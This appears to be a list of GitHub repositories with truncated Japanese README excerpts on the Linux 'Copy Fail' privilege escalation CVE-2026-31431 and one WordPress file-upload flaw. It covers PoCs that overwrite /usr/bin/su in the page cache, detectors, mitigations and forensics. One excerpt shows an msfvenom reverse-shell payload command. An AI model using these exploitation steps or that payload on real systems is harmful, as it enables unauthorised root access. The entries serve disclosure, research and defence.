copyfail-exploit

Copy Fail · CVE-2026-31431 Linuxカーネル4.11からパッチ適用済みの6.18リリース未満までのローカル権限昇格。 このバグはカーネルのAFALGソケットインターフェースに存在し、具体的にはauthencesnがインプレースAEAD復号中にscatter-gatherリストを処理する方法に起因します。結果として、権限のないユーザーが任意の読み取り可能なファイルのページキャッシュ内の4バイトを一度に上書きできます。...

cve-2026-31431

CVE-2026-31431（Copy Fail）ツールキット このリポジトリには、Linux algifaead / authencesn ページキャッシュ scratch-write 脆弱性 CVE-2026-31431 の検出器と PoC が含まれています。 開示記事：https://xint.io/blog/copy-fail-linux-distributions ライセンスに関する注意 所有している、または明示的な許可を得たホスト上でのみ使用してください。検出器は非破壊的で、一時ディレクトリ内の sentinel ファイルのみを操作します。PoC および LPE...

CVE-2026-31431

CVE-2026-31431 — Copy Fail ローカル権限昇格 — Linuxカーネルのauthencesn暗号テンプレートにおけるAFALG + spliceを介した脆弱性。 2026年4月29日にTheori（Xint Code）により公開。 概要 フィールド| 詳細 ---|--- CVE| CVE-2026-31431 ニックネーム| Copy Fail CVSS| 7.8 HIGH 種別| ローカル権限昇格（LPE） 導入時期| Linuxカーネル4.14（2017年、コミット72548b093ee3） 修正時期| メインラインコミットa664bf3d603d 必要条件...

CVE-2026-31431

Copy Fail - CVE-2026-31431 このリポジトリには、CVE-2026-31431（別名「Copy Fail」）に対するLinuxローカル権限昇格PoCが含まれています。 このエクスプロイトは、AFALGユーザースペース暗号APIにおけるLinuxカーネルのalgifaeadパスを標的としています。AFALGとspliceを組み合わせて使用し、カーネルに/usr/bin/suのページキャッシュへ4バイト単位で書き込ませた後、ページキャッシュが変更された状態でsuを実行します。 ソースコード概要 copyfailexp.py内のPoCは4つの処理を行います： 1...

CVE-2026-31431-Check

CVE-2026-31431（Copy Fail）脆弱性診断スクリプト 脆弱性の概要 CVE-2026-31431（Copy Fail） は Linux カーネルのローカル権限昇格脆弱性であり、AFALG ソケット（アドレスファミリ 38）と splice ゼロコピーシステムコールを組み合わせることで、ファイル書き込み権限を迂回してページキャッシュ（page cache）を改ざんし、書き込み権限のない SUID バイナリを改ざんして root 権限を取得します。 攻撃チェーン socketAFALG, SOCKSEQPACKET, 0 AFALG ソケットを作成 -...

CVE-2026-3844

CVE-2026-3844 — WordPress Breeze Cache 認証なしファイルアップロード 概要 このリポジトリには、WordPress Breeze Cache プラグイン ⚠️ このプロジェクトは、許可されたセキュリティテスト 、教育目的の研究 、および防御的検証 のみを厳密に目的としています。 脆弱性情報 CVE ID: CVE-2026-3844 影響を受けるプラグイン: Breeze Cache for WordPress 影響を受けるバージョン: = 2.4.4 問題の種類: 認証なし任意ファイルアップロード 影響: リモートコード実行（RCE）の可能性...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 —「Copy Fail」：Linux カーネル algifaead のローカル権限昇格 CISA KEV | CVSS 7.8 HIGH | Linux カーネル 4.14 〜 2026年初頭に影響（約9年間） 目次 1. エグゼクティブサマリー 2. リスク評価 3. 技術的詳細 4. 攻撃手法 — レッドチーム 5. 検知とインシデント対応 — ブルーチーム 6. パッチ適用と修復 7. ラボ環境 8. 参考情報 1. エグゼクティブサマリー CVE-2026-31431 は、通称 「Copy Fail」 と呼ばれる、Linux...

CVE-2026-31431

🔐 CVE-2026-31431 - カーネルエクスプロイト研究フレームワーク Linuxにおける特権昇格（LPE）の脆弱性を、AFALG + Page Cache Injection の技術に基づいて研究するためのモジュール式フレームワーク。 🎯 目的 このプロジェクトは以下を目的として設計されています： Linuxカーネルの脆弱性研究 実際のエクスプロイト技術（LPE）の教育 管理されたサイバーセキュリティラボの実行 ⚙️ このプロジェクトは何をするのか？ このフレームワークは、以下を可能にする技術を実装しています： SUIDバイナリのメモリ内コンテンツ（ページキャッシュ ）の改変...

ubuntu-cve-2026-31431-mitigation

Ubuntu におけるカーネルと kmod の完全アップデートガイド：セキュリティ脆弱性（CVE）の修正 CVE-2026-31431 この脆弱性は Copy Fail とも呼ばれ、AFALG / algifaead パスで発生する Linux カーネルの論理的なバグです。開示者によると、権限のないローカルユーザーが Linux カーネルに、読み取り可能なファイルのページキャッシュ内へ制御された 4 バイトの書き込みを実行させることができます。その結果、ファイルのインメモリ版が破損し、ディスク上のファイルは無傷のまま残ります。...

Mitigaciones

CVE-2026-31431（「Copy Fail」）の緩和策 LinuxシステムにおけるCVE-2026-31431の脆弱性（setuidバイナリの ページキャッシュ 破損によるローカル権限昇格）の検出および緩和のためのスクリプトとプレイブックのコレクション。 リポジトリの内容 cve-2026-31431-mitigator.sh : 監査およびホットパッチによる緩和（modprobe経由でのalgifaeadおよびauthencesnモジュールのブロック）を適用するための純粋なBashによる対話型スクリプト。Red...

CVE-2026-31431

CopyFail CVE-2026-31431 概要 CopyFail は、Linux カーネル Crypto API（AFALG）のメモリ破壊の脆弱性を標的とした CVE-2026-31431 の概念実証エクスプロイトです。このエクスプロイトは splice システムコールを利用して /usr/bin/su バイナリのページキャッシュを不正にパッチし、パスワードなしでの root への権限昇格を可能にします。 技術的分析 根本原因 この脆弱性は、splice を介した AFALG ソケットと他のファイルディスクリプタ間のゼロコピーデータ転送を処理する際の Linux...

CVE-2026-31431

CVE-2026-31431（Copy Fail）— C PoC AFALG のロジックバグ（カーネル 4.14 → 2026年初頭）を利用して、任意の読み取り可能なファイルのページキャッシュに制御された4バイトを書き込むことで実現する、特権を必要としない単純なLPE。 メモリ内の /usr/bin/su を破壊してから実行する → root 取得。 ビルドと実行 1. ELFペイロードを生成（リバースシェルの例） msfvenom -p linux/x86/shellreversetcp LHOST= LPORT= PrependSetuid=true ...

copyfail-dfir

CVE-2026-31431 Copy Fail — DFIR調査ウォークスルー Copy Fail Linuxカーネル脆弱性（CVE-2026-31431）に関する、対話形式のステップバイステップのフォレンジック調査ウォークスルーです。 SIEMアラートから確定した判定まで、実際のツールと検証済みコマンド を使用して、現実的なインシデント対応シナリオをクリックして進めます。 確認できる内容 権限昇格の痕跡がない認証ログ 「すべて正常」と表示されるディスク整合性チェック メモリフォレンジックスがディスクでは判明しない事実を明らかにする瞬間 実際のVolatility 3...

CVE-2026-31431-live-process-code-injection

CVE-2026-31431（Copy Fail）— ライブプロセスコードインジェクション PoC ページキャッシュを介して実行中のプロセスで任意のコード実行を実証します。 by @secinfosex 動作内容: 1. テスト用バイナリをコンパイル: check return 42; を無限ループで実行 2. プロセスを起動 3. "check = 42" の出力を待機 4. Copy Fail ページキャッシュ書き込みにより check を getpid シェルコードに置換 5. "check = " の出力を待機 6. 出力の PID と実際のプロセス PID を比較 7...

CVE-2026-31431

🚨 CVE-2026-31431: Copy Fail Linuxカーネルに存在する9年間の重大な脆弱性。数秒でroot権限を取得可能 📋 エグゼクティブサマリー 属性| 詳細 ---|--- CVE| CVE-2026-31431 ニックネーム| Copy Fail タイプ| ローカル権限昇格（LPE） CVSS| 7.8（High） 発見者| Theori（Xint Code） 公開日| 2026年4月29日 対象コンポーネント| Linuxカーネルのalgifaeadサブシステム ⚡ なぜこれほど危険なのか？ 🎯 速度 即時エクスプロイト：root取得まで1秒未満 わずか732バイ...

CVE-2026-31431-Report-Copy-fail-Vulnerability-

CVE-2026-31431 — Copy Fail: Linuxカーネル権限昇格 LinuxカーネルにおけるCopy Fail脆弱性の教育目的の分析。 メモリ破壊メカニズム、権限昇格フロー、コンテナエスケープ、防御策を解説します。 ⚠️ 免責事項 このリポジトリは教育および研究目的のみ を対象としています。 所有していないシステム、または明示的な書面によるテスト許可がないシステムでこの情報を使用しないでください。 すべてのコードスニペットとコマンドは、Linuxカーネル内部の理解を助けるためにのみ提供されています。 目次 概要 脆弱性の識別カード 背景となる概念 バグの仕組み...

CVE-2026-31431-python-copyfail-POC

CVE-2026-31431: Copy Fail - Linuxカーネル権限昇格 Copy Fail （CVE-2026-31431）は、Linuxカーネルの暗号サブシステムにおける重大な論理バグであり、非特権ユーザーがrootへの権限昇格を達成することを可能にします。この脆弱性は、Linuxカーネル6.0.0から6.18.xまでの全主要ディストリビューションに影響を与えます。 このリポジトリには、setuidバイナリのページキャッシュを破壊し、root権限で任意のコードを実行することで脆弱性を発動させる実際のエクスプロイトが含まれています。 Copy Failとは？ Copy...

XCP_ng_CVE-2026-31431_tester

CVE-2026-31431「Copy Fail」— XCP-ng ラボラトリ検出器 CVE-2026-31431（「Copy Fail」）向けの安全で非破壊的な検出スクリプトです。XCP-ng 8.3 LTS （2026年5月5日のセキュリティ更新前）で検証済みです。 ⚠️ 許可された用途のみ。 このスクリプトは、所有しているシステム、または明示的にテストを許可されたシステムでのみ実行してください。 背景 CVE-2026-31431（通称「Copy...

Weekly-Breach-Investigation--006

Copy Fail 脆弱性 CVE-2026-31431 概要 Linuxカーネルにおける高深刻度のローカル権限昇格の欠陥で、非特権ユーザーがメモリ内のページキャッシュを破壊することでrootアクセスを取得できる可能性があります。2017年以降のLinuxディストリビューションに影響を及ぼし、クラウド環境やコンテナ環境に深刻なリスクをもたらします。 検出 CISA KEVカタログに追加（2026年5月） 実環境での悪用が観測されている Python、Go、RustでPoCが公開されている MITRE ATT&CKマッピング 権限昇格: 昇格制御メカニズムの悪用 T1548 権限昇格:...

CVE-2026-31431-live-code-corruption

CVE-2026-31431 — ページキャッシュ経由のライブコード破壊 Linuxカーネルのページキャッシュを通じて実行中プロセスの実行可能コード を破壊し、root権限昇格を達成する、CVE-2026-31431（「Copy Fail」）の新しい悪用手法です。 何が違うのか このCVEの公開済みエクスプロイトはすべてデータファイル を破壊するもの —...